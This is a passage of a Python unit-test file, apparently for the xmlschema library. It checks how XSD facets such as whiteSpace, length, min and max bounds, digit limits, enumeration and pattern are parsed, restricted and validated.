value="invalid"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn( "value must be one of ['preserve', 'replace', 'collapse']", str(ec.exception) ) def test_white_space_restriction(self): valid_derivations = [ ('preserve', 'preserve'), ('preserve', 'replace'), ('preserve', 'collapse'), ('replace', 'replace'), ('replace', 'collapse'), ('collapse', 'collapse'), ] for base_value, value in valid_derivations: schema = self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string1"> <xs:restriction base="xs:string"> <xs:whiteSpace value="{base_value}"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string2"> <xs:restriction base="string1"> <xs:whiteSpace value="{value}"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertEqual(schema.types['string1'].white_space, base_value) self.assertEqual(schema.types['string2'].white_space, value) invalid_derivations = [ ('replace', 'preserve'), ('collapse', 'preserve'), ('collapse', 'replace') ] for base_value, value in invalid_derivations: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string1"> <xs:restriction base="xs:string"> <xs:whiteSpace value="{base_value}"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string2"> <xs:restriction base="string1"> <xs:whiteSpace value="{value}"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_length_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="username"> <xs:restriction base="xs:NCName"> <xs:length value="8"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) length_facet = schema.types['username'].get_facet(XSD_LENGTH) self.assertIsNone(length_facet('a' * 8)) for value in ['', 'a' * 7, 'a' * 9]: with self.assertRaises(XMLSchemaValidationError) as ec: length_facet(value) self.assertIn('Reason: length has to be 8', str(ec.exception)) def test_length_facet_restriction(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="username"> <xs:restriction base="xs:NCName"> <xs:length value="8"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="username2"> <xs:restriction base="username"> <xs:length value="8"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) length_facet = schema.types['username'].get_facet(XSD_LENGTH) self.assertIsNone(length_facet('a' * 8)) length_facet2 = schema.types['username2'].get_facet(XSD_LENGTH) self.assertIsNone(length_facet2('a' * 8)) self.assertIsNot(length_facet, length_facet2) # Not applied on xs:QName: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="qname1"> <xs:restriction base="xs:QName"> <xs:length value="8"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) length_facet = schema.types['qname1'].get_facet(XSD_LENGTH) self.assertIsNone(length_facet('a' * 8)) self.assertIsNone(length_facet('a' * 10)) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="username"> <xs:restriction base="xs:NCName"> <xs:length value="8"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="username2"> <xs:restriction base="username"> <xs:length value="12"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("base facet has a different length (8)", str(ec.exception)) def test_min_length_facet(self): xsd_type = self.st_schema.types['none_empty_string'] min_length_facet = xsd_type.get_facet(XSD_MIN_LENGTH) self.assertIsNone(min_length_facet(' ')) self.assertIsNone(min_length_facet(' ' * 75)) with self.assertRaises(XMLSchemaValidationError) as ec: min_length_facet('') self.assertIn('value length cannot be lesser than 1', str(ec.exception)) # Not applied on xs:QName: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="qname1"> <xs:restriction base="xs:QName"> <xs:minLength value="8"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) min_length_facet = schema.types['qname1'].get_facet(XSD_MIN_LENGTH) self.assertIsNone(min_length_facet('abc')) def test_min_length_facet_restriction(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string20"> <xs:restriction base="xs:string"> <xs:minLength value="20"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string30"> <xs:restriction base="string20"> <xs:minLength value="30"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertEqual(schema.types['string20'].get_facet(XSD_MIN_LENGTH).value, 20) self.assertEqual(schema.types['string30'].get_facet(XSD_MIN_LENGTH).value, 30) with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string40"> <xs:restriction base="xs:string"> <xs:minLength value="40"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string30"> <xs:restriction base="string40"> <xs:minLength value="30"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_max_length_facet(self): xsd_type = self.st_schema.types['string_75'] max_length_facet = xsd_type.get_facet(XSD_MAX_LENGTH) self.assertIsNone(max_length_facet('')) self.assertIsNone(max_length_facet(' ')) self.assertIsNone(max_length_facet(' ' * 75)) with self.assertRaises(XMLSchemaValidationError) as ec: max_length_facet(' ' * 76) self.assertIn('value length cannot be greater than 75', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError) as ec: max_length_facet(None) self.assertIn("invalid type <class 'NoneType'> provided", str(ec.exception)) # Not applied on xs:QName: https://www.w3.org/Bugs/Public/show_bug.cgi?id=4009 schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="qname1"> <xs:restriction base="xs:QName"> <xs:maxLength value="8"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) max_length_facet = schema.types['qname1'].get_facet(XSD_MAX_LENGTH) self.assertIsNone(max_length_facet('a' * 10)) def test_max_length_facet_restriction(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string30"> <xs:restriction base="xs:string"> <xs:maxLength value="30"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string20"> <xs:restriction base="string30"> <xs:maxLength value="20"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertEqual(schema.types['string30'].get_facet(XSD_MAX_LENGTH).value, 30) self.assertEqual(schema.types['string20'].get_facet(XSD_MAX_LENGTH).value, 20) with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="string30"> <xs:restriction base="xs:string"> <xs:maxLength value="30"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="string40"> <xs:restriction base="string30"> <xs:maxLength value="40"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_min_inclusive_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="min_type"> <xs:restriction base="xs:integer"> <xs:minInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['min_type'].get_facet(XSD_MIN_INCLUSIVE) self.assertIsNone(facet(0)) self.assertIsNone(facet(100)) with self.assertRaises(XMLSchemaValidationError) as ec: facet(-1) self.assertIn('value has to be greater or equal than 0', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet('') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="min_type"> <xs:restriction base="xs:integer"> <xs:minInclusive value=""/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_min_inclusive_facet_restriction(self): for base_facet in ['minInclusive', 'maxInclusive']: schema = self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(0)) facet2 = schema.types['type2'].get_facet(XSD_MIN_INCLUSIVE) self.assertIsNone(facet2(0)) self.assertIsNot(facet, facet2) for base_facet in ['minInclusive', 'minExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['maxInclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="-1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['minExclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_min_exclusive_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="min_type"> <xs:restriction base="xs:integer"> <xs:minExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['min_type'].get_facet(XSD_MIN_EXCLUSIVE) self.assertIsNone(facet(1)) with self.assertRaises(XMLSchemaValidationError) as ec: facet(0) self.assertIn('value has to be greater than 0', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet('') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="min_type"> <xs:restriction base="xs:integer"> <xs:minExclusive value=""/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_min_exclusive_facet_restriction(self): for base_facet in ['minInclusive', 'minExclusive']: schema = self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(1)) facet2 = schema.types['type2'].get_facet(XSD_MIN_EXCLUSIVE) self.assertIsNone(facet2(1)) self.assertIsNot(facet, facet2) for base_facet in ['maxInclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['minInclusive', 'minExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['maxInclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="-1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:minExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_max_inclusive_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="max_type"> <xs:restriction base="xs:integer"> <xs:maxInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['max_type'].get_facet(XSD_MAX_INCLUSIVE) self.assertIsNone(facet(-1)) self.assertIsNone(facet(0)) with self.assertRaises(XMLSchemaValidationError) as ec: facet(1) self.assertIn('value has to be less than or equal than 0', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet('') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="min_type"> <xs:restriction base="xs:integer"> <xs:maxInclusive value=""/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_max_inclusive_facet_restriction(self): for base_facet in ['minInclusive', 'maxInclusive']: schema = self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(0)) facet2 = schema.types['type2'].get_facet(XSD_MAX_INCLUSIVE) self.assertIsNone(facet2(0)) self.assertIsNot(facet, facet2) for base_facet in ['maxInclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="-1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['minInclusive', 'minExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['minExclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxInclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_max_exclusive_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="max_type"> <xs:restriction base="xs:integer"> <xs:maxExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['max_type'].get_facet(XSD_MAX_EXCLUSIVE) self.assertIsNone(facet(-1)) with self.assertRaises(XMLSchemaValidationError) as ec: facet(0) self.assertIn('value has to be lesser than 0', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet('') with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="min_type"> <xs:restriction base="xs:integer"> <xs:maxExclusive value=""/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_max_exclusive_facet_restriction(self): for base_facet in ['maxInclusive', 'maxExclusive']: schema = self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['type1'].get_facet(f'{{{XSD_NAMESPACE}}}{base_facet}') self.assertIsNone(facet(-1)) facet2 = schema.types['type2'].get_facet(XSD_MAX_EXCLUSIVE) self.assertIsNone(facet2(-1)) self.assertIsNot(facet, facet2) for base_facet in ['minInclusive', 'minExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['maxInclusive', 'maxExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="-1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) for base_facet in ['minInclusive', 'minExclusive']: with self.assertRaises(XMLSchemaParseError): self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="type1"> <xs:restriction base="xs:integer"> <xs:{base_facet} value="1"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="type2"> <xs:restriction base="type1"> <xs:maxExclusive value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) def test_total_digits_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_integer"> <xs:restriction base="xs:integer"> <xs:totalDigits value="4"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['restricted_integer'].get_facet(XSD_TOTAL_DIGITS) self.assertIsNone(facet(9999)) with self.assertRaises(XMLSchemaValidationError) as ec: facet(99999) self.assertIn('the number of digits has to be lesser or equal than 4', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet(None) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_integer"> <xs:restriction base="xs:integer"> <xs:totalDigits value="a"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertIn("invalid literal", str(schema.all_errors[0])) facet = schema.types['restricted_integer'].get_facet(XSD_TOTAL_DIGITS) self.assertEqual(facet.value, 9999) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_integer"> <xs:restriction base="xs:integer"> <xs:totalDigits value="0"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertIn("value must be positive", str(schema.all_errors[0])) facet = schema.types['restricted_integer'].get_facet(XSD_TOTAL_DIGITS) self.assertEqual(facet.value, 9999) def test_fraction_digits_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_decimal"> <xs:restriction base="xs:decimal"> <xs:fractionDigits value="2"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['restricted_decimal'].get_facet(XSD_FRACTION_DIGITS) self.assertIsNone(facet(decimal.Decimal('99.99'))) with self.assertRaises(XMLSchemaValidationError) as ec: facet(decimal.Decimal('99.999')) self.assertIn('fraction digits has to be lesser or equal than 2', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError): facet(None) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_decimal"> <xs:restriction base="xs:decimal"> <xs:fractionDigits value="a"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertIn("invalid literal", str(schema.all_errors[0])) facet = schema.types['restricted_decimal'].get_facet(XSD_FRACTION_DIGITS) self.assertEqual(facet.value, 9999) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_decimal"> <xs:restriction base="xs:decimal"> <xs:fractionDigits value="-1"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertIn("value must be non negative", str(schema.all_errors[0])) facet = schema.types['restricted_decimal'].get_facet(XSD_FRACTION_DIGITS) self.assertEqual(facet.value, 9999) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_integer"> <xs:restriction base="xs:integer"> <xs:fractionDigits value="2"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("value must be 0 for types derived from xs:integer", str(ec.exception)) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="restricted_double"> <xs:restriction base="xs:double"> <xs:fractionDigits value="2"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("can be applied only to types derived from xs:decimal", str(ec.exception)) def test_digits_facets_restriction(self): for facet in ['totalDigits', 'fractionDigits']: schema = self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="decimal1"> <xs:restriction base="xs:decimal"> <xs:{facet} value="4"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="decimal2"> <xs:restriction base="decimal1"> <xs:{facet} value="1"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertTrue(schema.types['decimal1'].is_valid(decimal.Decimal('.01'))) self.assertFalse(schema.types['decimal2'].is_valid(decimal.Decimal('.01'))) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent(f"""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="decimal1"> <xs:restriction base="xs:decimal"> <xs:{facet} value="2"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="decimal2"> <xs:restriction base="decimal1"> <xs:{facet} value="3"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("invalid restriction: base value is lower", str(ec.exception)) def test_enumeration_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:string"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> <xs:enumeration value="three"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="enum2"> <xs:restriction base="enum1"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertTrue(schema.types['enum1'].is_valid('one')) self.assertTrue(schema.types['enum1'].is_valid('two')) self.assertTrue(schema.types['enum1'].is_valid('three')) self.assertFalse(schema.types['enum1'].is_valid('four')) self.assertTrue(schema.types['enum2'].is_valid('one')) self.assertTrue(schema.types['enum2'].is_valid('two')) self.assertFalse(schema.types['enum2'].is_valid('three')) self.assertFalse(schema.types['enum2'].is_valid('four')) facet = schema.types['enum2'].get_facet(XSD_ENUMERATION) self.assertIsInstance(facet, XsdEnumerationFacets) elem = ElementTree.Element(XSD_ENUMERATION, value='three') facet.append(elem) self.assertTrue(schema.types['enum2'].is_valid('three')) facet[-1] = elem self.assertTrue(schema.types['enum2'].is_valid('three')) del facet[-1] self.assertFalse(schema.types['enum2'].is_valid('three')) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:string"> <xs:enumeration/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("missing required attribute 'value'", str(ec.exception)) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:NOTATION"> <xs:enumeration value="unknown:notation1"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("prefix 'unknown' not found in namespace map", str(ec.exception)) with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:NOTATION"> <xs:enumeration value="notation1"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("'notation1' must match a notation declaration", str(ec.exception)) def test_enumeration_facet_representation(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:string"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> <xs:enumeration value="three"/> <xs:enumeration value="four"/> <xs:enumeration value="five"/> <xs:enumeration value="six"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['enum1'].get_facet(XSD_ENUMERATION) self.assertEqual( repr(facet), "XsdEnumerationFacets(['one', 'two', 'three', 'four', 'five', ...])" ) facet.pop() self.assertEqual( repr(facet), "XsdEnumerationFacets(['one', 'two', 'three', 'four', 'five'])" ) def test_enumeration_facet_with_float_type(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:double"> <xs:enumeration value="1.0"/> <xs:enumeration value="2.0"/> <xs:enumeration value="INF"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['enum1'].get_facet(XSD_ENUMERATION) self.assertIsNone(facet(1.0)) self.assertIsNone(facet(2.0)) self.assertIsNone(facet(float('inf'))) self.assertRaises(XMLSchemaValidationError, facet, '3.0') self.assertRaises(XMLSchemaValidationError, facet, 3.0) self.assertRaises(XMLSchemaValidationError, facet, float('-inf')) self.assertRaises(XMLSchemaValidationError, facet, float('nan')) facet.append(ElementTree.Element(XSD_ENUMERATION, value='-INF')) self.assertIsNone(facet(float('-inf'))) facet.append(ElementTree.Element(XSD_ENUMERATION, value='NaN')) self.assertIsNone(facet(float('nan'))) def test_enumeration_facet_derivation(self): with self.assertRaises(XMLSchemaParseError) as ec: self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:string"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="enum2"> <xs:restriction base="enum1"> <xs:enumeration value="one"/> <xs:enumeration value="two"/> <xs:enumeration value="three"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertIn("failed validating 'three'", str(ec.exception)) def test_pattern_facet(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="pattern1"> <xs:restriction base="xs:string"> <xs:pattern value="\\w+"/> </xs:restriction> </xs:simpleType> </xs:schema>""")) facet = schema.types['pattern1'].get_facet(XSD_PATTERN) self.assertIsInstance(facet, XsdPatternFacets) self.assertIsNone(facet('abc')) self.assertRaises(XMLSchemaValidationError, facet, '') self.assertRaises(XMLSchemaValidationError, facet, 'a;') self.assertRaises(XMLSchemaValidationError, facet, 10) self.assertRaises(XMLSchemaValidationError, facet, None) self.assertIs(schema.types['pattern1'].patterns, facet) self.assertIs(facet[0], schema.root[0][0][0]) self.assertEqual(facet.patterns[0].pattern, r'^(?:\w+)$(?!\n\Z)') # translated pattern # Test MutableSequence API facet.append(ElementTree.Element(XSD_PATTERN, value=r'\s+')) self.assertEqual(len(facet), 2) self.assertEqual(facet.patterns[1].pattern, r'^(?:\s+)$(?!\n\Z)') facet[1] = (ElementTree.Element(XSD_PATTERN, value=r'\S+')) self.assertEqual(facet.patterns[1].pattern, r'^(?:\S+)$(?!\n\Z)') del facet[1] self.assertEqual(len(facet), 1) schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="pattern1"> <xs:restriction base="xs:string"> <xs:pattern/> </xs:restriction> </xs:simpleType> <xs:simpleType name="pattern2"> <xs:restriction base="xs:string"> <xs:pattern value="]"/> </xs:restriction> </xs:simpleType> </xs:schema>"""), validation='lax') self.assertEqual(len(schema.all_errors), 2) self.assertIn("missing required attribute 'value'", str(schema.all_errors[0])) self.assertIn("unexpected meta character ']' at position 0", str(schema.all_errors[1])) def test_get_annotation__issue_255(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="enum1"> <xs:restriction base="xs:string"> <xs:enumeration value="one"> 